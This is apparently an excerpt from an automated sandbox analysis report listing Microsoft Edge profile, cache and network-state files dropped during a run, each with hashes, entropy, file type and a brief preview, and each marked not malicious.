SHA-256:	88FE1D31608930F2738D102D45C75DC77ACDF01A1B69BFB7E7C0281575B75E33
SHA-512:	B529BCE870CD8165BF82F3EBF94F07552467BD0993B9D35145182E54E26FB2AE8E7BB167D88267B632757E2146F27DFDDF8867DB0C66E5DCC306DB12EC6B7BEF
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.1960754624568395
Encrypted:	false
SSDEEP:	6:93+q2Pwkn23oH+TcwtrQMxIFUt8IXZmw+niVkwOwkn23oH+TcwtrQMFLJ:N+vYfYebCFUt8k/+niV5JfYebtJ
MD5:	B03C4A55B255DFE4E9ACD3974568071E
SHA1:	3796264D41690AE8FB347F04EDB4907CC0E7D5CB
SHA-256:	C5ACEB57D2E1506143C4F68E51EE59C02EE85ED2FA6F1DB2DABC9DF84BA5F508
SHA-512:	B4E392D3DD481DB730D394B7929A63FE167D96EBAE2A6D147499E08A8AEAB36A3E81EA044449A92ECF016447E334E4C365E6515F11148C44D79E4177FEEE547F
Malicious:	false
Preview:	2024/08/31-23:09:50.667 ddc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/08/31-23:09:50.667 ddc Recovering log #3.2024/08/31-23:09:50.669 ddc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.1960754624568395
Encrypted:	false
SSDEEP:	6:93+q2Pwkn23oH+TcwtrQMxIFUt8IXZmw+niVkwOwkn23oH+TcwtrQMFLJ:N+vYfYebCFUt8k/+niV5JfYebtJ
MD5:	B03C4A55B255DFE4E9ACD3974568071E
SHA1:	3796264D41690AE8FB347F04EDB4907CC0E7D5CB
SHA-256:	C5ACEB57D2E1506143C4F68E51EE59C02EE85ED2FA6F1DB2DABC9DF84BA5F508
SHA-512:	B4E392D3DD481DB730D394B7929A63FE167D96EBAE2A6D147499E08A8AEAB36A3E81EA044449A92ECF016447E334E4C365E6515F11148C44D79E4177FEEE547F
Malicious:	false
Preview:	2024/08/31-23:09:50.667 ddc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/08/31-23:09:50.667 ddc Recovering log #3.2024/08/31-23:09:50.669 ddc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.116715206586193
Encrypted:	false
SSDEEP:	6:Rjyq2Pwkn23oH+Tcwt7Uh2ghZIFUt8lvj1Zmw+lv1RkwOwkn23oH+Tcwt7Uh2gnd:MvYfYebIhHh2FUt8lvj1/+lvD5JfYebs
MD5:	639F5DC699D338D2FC97ADCBB0EF21DE
SHA1:	38EA4BB2BA188DFE978231571F311B3A221D594D
SHA-256:	7F32B1A1EE3EBA653C5EE4C48DEE1FCD98EC90D04CE6D52F70F00A35F2769E60
SHA-512:	A5FA30746A74EA387E48530D2976DB155732741F145E9B87E08C0832828BF816CEB0E7D63A9DA076D48C4FA6AFE671F3010D62973B9562B0F98A6D008B67220A
Malicious:	false
Preview:	2024/08/31-23:09:34.325 ea0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/08/31-23:09:34.326 ea0 Recovering log #3.2024/08/31-23:09:34.326 ea0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.116715206586193
Encrypted:	false
SSDEEP:	6:Rjyq2Pwkn23oH+Tcwt7Uh2ghZIFUt8lvj1Zmw+lv1RkwOwkn23oH+Tcwt7Uh2gnd:MvYfYebIhHh2FUt8lvj1/+lvD5JfYebs
MD5:	639F5DC699D338D2FC97ADCBB0EF21DE
SHA1:	38EA4BB2BA188DFE978231571F311B3A221D594D
SHA-256:	7F32B1A1EE3EBA653C5EE4C48DEE1FCD98EC90D04CE6D52F70F00A35F2769E60
SHA-512:	A5FA30746A74EA387E48530D2976DB155732741F145E9B87E08C0832828BF816CEB0E7D63A9DA076D48C4FA6AFE671F3010D62973B9562B0F98A6D008B67220A
Malicious:	false
Preview:	2024/08/31-23:09:34.325 ea0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/08/31-23:09:34.326 ea0 Recovering log #3.2024/08/31-23:09:34.326 ea0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	5.027445846313988E-4
Encrypted:	false
SSDEEP:	3:LsulP5aKX:Lsdq
MD5:	D346636A9B06D5F019F088B56367658B
SHA1:	A7315B887D6B1EC618EA9DC0E44933AEDF7CFC1A
SHA-256:	5B21E700A0F44514BE70999BE89EB30D1C071B71472A69B8B285BBC8C9D96CFF
SHA-512:	CEC99B2C49B601C0516A0A998E5E0D3EE9585922DD5C28205FFE3061132B338C9637921EA0572D1410DF1028E316C04F3BEADE1D04CFBC7639C63EE51D6DF6E1
Malicious:	false
Preview:	.........................................:>p../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlja/:Ls3W
MD5:	8590E9692C3AA3B95ED225BB079A4E3A
SHA1:	295692292C0EE32B2886E9860B0115D5557EFEF7
SHA-256:	39DCCBEC0D203BE35047EB4ABE52396700519FC7B1D909EA6E24503D06320EC0
SHA-512:	7F3917CE63BFDDDBA4FF80A9EEA103FE5E7066185DB1CF33041154D91CC61CD244620B6BC7582DE74DC5E321148D579406ACE551D987466D954C504292ECE089
Malicious:	false
Preview:	.........................................m.o../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.230842351670031
Encrypted:	false
SSDEEP:	12:UXi+vYfYebvqBQFUt8V02/+VFcV5JfYebvqBvJ:UjYfYebvZg8VEFGJfYebvk
MD5:	602E52FCE2F6BFA3C3C94DDDB9479F24
SHA1:	51C4E805BDC27F283CC80EEF014F39139BD79BE1
SHA-256:	11F8C59C92B3B8C1A05E011094F9E0A6827FF631B4A3C1A8D9897C389B26E59D
SHA-512:	60E797D5E801EE612A59427522F4440209403419E97C51303E9FCCE5B89F6B20723245C3E57FB1311DF5113CCF174D46D618B720DDB698C53CDB83612661B5F1
Malicious:	false
Preview:	2024/08/31-23:09:35.332 ddc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/08/31-23:09:35.333 ddc Recovering log #3.2024/08/31-23:09:35.336 ddc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.230842351670031
Encrypted:	false
SSDEEP:	12:UXi+vYfYebvqBQFUt8V02/+VFcV5JfYebvqBvJ:UjYfYebvZg8VEFGJfYebvk
MD5:	602E52FCE2F6BFA3C3C94DDDB9479F24
SHA1:	51C4E805BDC27F283CC80EEF014F39139BD79BE1
SHA-256:	11F8C59C92B3B8C1A05E011094F9E0A6827FF631B4A3C1A8D9897C389B26E59D
SHA-512:	60E797D5E801EE612A59427522F4440209403419E97C51303E9FCCE5B89F6B20723245C3E57FB1311DF5113CCF174D46D618B720DDB698C53CDB83612661B5F1
Malicious:	false
Preview:	2024/08/31-23:09:35.332 ddc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/08/31-23:09:35.333 ddc Recovering log #3.2024/08/31-23:09:35.336 ddc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\00a172d0-34bb-4a37-bb15-ecf040703bea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.555790634850688
Encrypted:	false
SSDEEP:	48:TsIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:QIEumQv8m1ccnvS6
MD5:	0247E46DE79B6CD1BF08CAF7782F7793
SHA1:	B3A63ED5BE3D8EC6E3949FC5E2D21D97ACC873A6
SHA-256:	AAD0053186875205E014AB98AE8C18A6233CB715DD3AF44E7E8EB259AEAB5EEA
SHA-512:	148804598D2A9EA182BD2ADC71663D481F88683CE3D672CE12A43E53B0D34FD70458BE5AAA781B20833E963804E7F4562855F2D18F7731B7C2EAEA5D6D52FBB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}.........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF417ba.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d5494e54-7044-4dc4-8a5f-af495bbeb5b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e7f611df-1733-445f-9b72-d0f63c469777.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	417
Entropy (8bit):	5.231038963105687
Encrypted:	false
SSDEEP:	6:U+q2Pwkn23oH+TcwtzjqEKj0QMxIFUt8lcZmw+pVkwOwkn23oH+TcwtzjqEKj0Qq:U+vYfYebvqBZFUt8C/+pV5JfYebvqBaJ
MD5:	581A4F7FC0379C05F79534D5754355BE
SHA1:	FBBE549C1413A128057E3BC4D3BFD07E8AF071A5
SHA-256:	041BE2E3F844EA897C20B6B60152E729C7E4D0E4E6B0D1F00F9B76350C63FDC2
